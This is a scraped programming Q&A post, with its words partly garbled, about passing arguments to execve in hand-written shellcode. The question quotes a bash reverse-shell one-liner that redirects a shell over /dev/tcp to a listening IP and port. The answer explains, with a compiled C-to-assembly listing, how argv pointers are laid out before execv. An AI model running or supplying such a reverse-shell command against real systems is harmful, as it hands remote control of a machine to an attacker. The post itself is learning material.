assembly - pass arguments to execve program in shellcode -
i'm having go @ learning assembly , writing shellcode. have question execve , passing arguments program execute.
i have working code execute bash shell unsure of input format of execve pass additional arguments it. can stdin stdout redirects too? wanted create reverse tcp connection type of command line:
/bin/bash -i >& /dev/tcp/192.168.1.4/1234 0>&1
should arguments separated null's? got execute shell didn't connect listening nc.
i know unusual way of doing wanted try different :-)
cheers
the best way know how compile example , stop @ assembly level. lets take example:
#include <unistd.h> int main () { char *program = "/bin/ls"; char *args[3] = {"/bin/ls", "-l", "./"}; execv(program, args); return 0; } when compiled gcc -wall -wextra -s -o myexec.s myexec.c can read in myexec.s:
.file "myexec.c" .section .rodata .lc0: .string "/bin/ls" .lc1: .string "-l" .lc2: .string "./" .text .globl main .type main, @function main: .lfb0: pushq %rbp movq %rsp, %rbp subq $32, %rsp movq $.lc0, -8(%rbp) movq $.lc0, -32(%rbp) movq $.lc1, -24(%rbp) movq $.lc2, -16(%rbp) leaq -32(%rbp), %rdx movq -8(%rbp), %rax movq %rdx, %rsi movq %rax, %rdi call execv movl $0, %eax leave ret so, list of arguments of command line composed of list of strings and, first argument path executable file (-8(rbp)), each argument passed through pointer string: argv[0] = -16(%rbp), argv[1] = -24(%rbp), argv[2] = -32(%rbp), ... , on.
so, have have addresses of each string , stack (in proper order) onto stack before calling execv.
Comments
Post a Comment